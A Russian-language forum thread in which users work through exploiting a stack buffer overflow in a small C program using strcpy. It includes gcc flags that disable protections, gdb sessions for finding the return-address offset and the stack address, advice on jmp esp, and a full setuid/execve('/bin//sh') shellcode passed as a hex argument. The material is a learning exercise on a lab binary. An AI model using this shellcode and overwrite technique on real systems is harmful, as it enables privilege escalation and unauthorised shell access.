Пытаюсь передать управление шеллу. Есть исходник: HTML: Код: #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) { char buffer[500]; strcpy(buffer, argv[1]); //небезопасная функция return 0; } В dbg запускаю run $(python -c 'print "\x41" * 512 + "\x01\x01\x01\x01" + "шел код" Дебагер пишет вышло исключение eip=01010101. Как найти начало шелл кода?
буфер я уменьшил, с 500 байтами не оч удобно компилируем gcc -Wall -m64 -fno-stack-protector -z execstack -g -o ./buff ./buffer.c execstack -s ./buff gdb ./buff Смотрим код и определяем сколько \x41 потребуется Code: (gdb) disassemble main Dump of assembler code for function main: 0x000000000040052c <+0>: push %rbp 0x000000000040052d <+1>: mov %rsp,%rbp 0x0000000000400530 <+4>: sub $0x30,%rsp 0x0000000000400534 <+8>: mov %edi,-0x24(%rbp) 0x0000000000400537 <+11>: mov %rsi,-0x30(%rbp) 0x000000000040053b <+15>: mov -0x30(%rbp),%rax 0x000000000040053f <+19>: add $0x8,%rax 0x0000000000400543 <+23>: mov (%rax),%rdx 0x0000000000400546 <+26>: lea -0x20(%rbp),%rax 0x000000000040054a <+30>: mov %rdx,%rsi 0x000000000040054d <+33>: mov %rax,%rdi 0x0000000000400550 <+36>: callq 0x400410 <strcpy@plt> 0x0000000000400555 <+41>: mov $0x0,%eax 0x000000000040055a <+46>: leaveq 0x000000000040055b <+47>: retq Ставим точку останова на main Code: (gdb) break main Breakpoint 1 at 0x40053b: file ./buffer.c, line 7. Запускаем Code: (gdb) run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXX The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/taha/buff AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXX Breakpoint 1, main (argc=2, argv=0x7fffffffe298) at ./buffer.c:7 7 strcpy(buffer, argv[1]); //небезопасная функция Шагаем через функцию копирования Code: (gdb) next 8 return 0; И еще через две инструкции Code: (gdb) ni 2 0x000000000040055b 9 } (gdb) Мы возле retq, самое время посмотреть, где у нас должен быть шелкод, это делается командой: Code: (gdb) x/16x $rsp-40 0x7fffffffe190: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe1a0: 0x41414141 0x41414141 0x41414141 0x41414141 0x7fffffffe1b0: 0x41414141 0x41414141 0x58585858 0x00005858 0x7fffffffe1c0: 0x00000000 0x00000000 0xffffe298 0x00007fff Вот и всё теперь часть мусора убираем, копипастим любимую начинку + пишем найденый нами адрес и шелкод готов С шелкодами мне ковыряться лень и адреса подбирать =\
Зачем выходить из функции strcpy? Когда я пытаюсь поменять адрес возврата из функции strcpy. Я делал так: узнал адрес esp при крушении программы, вставил ее вместо "\x01\x01\x01\x01". И шелл заработал!
Это не важно.. я немного не так делал)) на ночь глядя тупанул у main адрес возврата подменял... Не суть Тебе нужна команда последняя x - вывести в шеснадцатиричном виде можно заменить на i - тогда будет дизасм также кол-во можно менять от 1 до ..... к $rsp можно прибавлять и вычетать, в стеке будет твой шелкод, узнаешь адрес подставишь вместо "\x01\x01\x01\x01"
Еще вопрос: почему мы должны указывать на конец шелла? Ведь строка поданная как аргумент является перевертышем машинных команд в hex виде. Сл-но я должен указать его истинное начало, т.е с правого конца.
а чего там смотреть, есть локальная переменная char buffer[500]; смотри вывод асма - под нее выделится в стеке место типа sub esp, 500 образно стек (до вызова strcpy) будет выглядеть: ESP-> abababab abababab(500байт+выравнивание) saved_EBP retEIP (в сишный пролог) arg0 (argc) arg1 (argv) в классическом варианте считай что переписать надо размер буфера + 4 байта(предыдущий фрейм) + 4 байта(адрес возврата) всё верно, тыж переписал и буфер и всё что за ним было (сохранённый ebp и адрес возврата), и по выходу из main ты и попадаешь в указанное место. но в ESP будет адрес начала этого массива, поэтому адрес возврата можешь взять из системного простраство, то есть любой адрес по которому находится инструкция jmp esp. т.о. шеллкод получит управление на своё начало. чтобы узнать адрес - call $+5 (E8 00 00 00 00); pop eax.
Запускаю в gdb прогу которая выше так run $(python -c 'print "\x41" * 22 + "\x01\x01\x01\x01" + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" зате ввожу: x/20x $esp-20 показывет это: 0xbffff50c: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff51c: 0x01010101 0xdb31c031 0x80cd17b0 0x6850c031 и т.д. т.е. шелл код начинается по адресу 0xbffff520. Но я подставил \x20\xf5\xff\bf вместо \x01\x01\x01\x01 и шелл код не заработал. Почему?